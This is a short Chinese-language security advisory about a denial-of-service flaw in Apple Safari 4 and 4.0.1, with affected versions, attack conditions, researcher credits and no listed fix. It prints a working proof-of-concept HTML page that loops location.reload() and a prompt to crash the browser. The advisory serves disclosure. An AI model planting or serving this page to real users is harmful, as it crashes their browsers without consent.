Apple Safari ‘reload()’拒绝服务漏洞

漏洞起因
输入验证错误
 
影响系统
Apple Safari 4.0.1
Apple Safari 4 for Windows
Apple Safari 4
 
不受影响系统
 
危害
远程攻击者可以利用漏洞对应用服务进行拒绝服务攻击。
 
攻击所需条件
攻击者必须构建恶意WEB页,诱使用户打开。
 
漏洞信息
Apple Safari是一款基于WEB的浏览器。
Apple Safari不正确处理JavaScript脚本,远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。
构建如下恶意页面,诱使用户打开,可使应用程序崩溃:
<html>
<body>
<script src="empty.js"></script>
<script>
try { crashSafari(); } catch(e) {
setTimeout("location.reload();",42);
prompt(‘apple culpa? comment:’); }
</script>
</body>
</html>
 
测试方法
 
厂商解决方案
目前没有解决方案提供:
http://www.apple.com/safari/download/
 
漏洞提供者
Marcell ‘SkyOut’ Dietl, Achim Hoffmann

发表评论?

0 条评论。

发表评论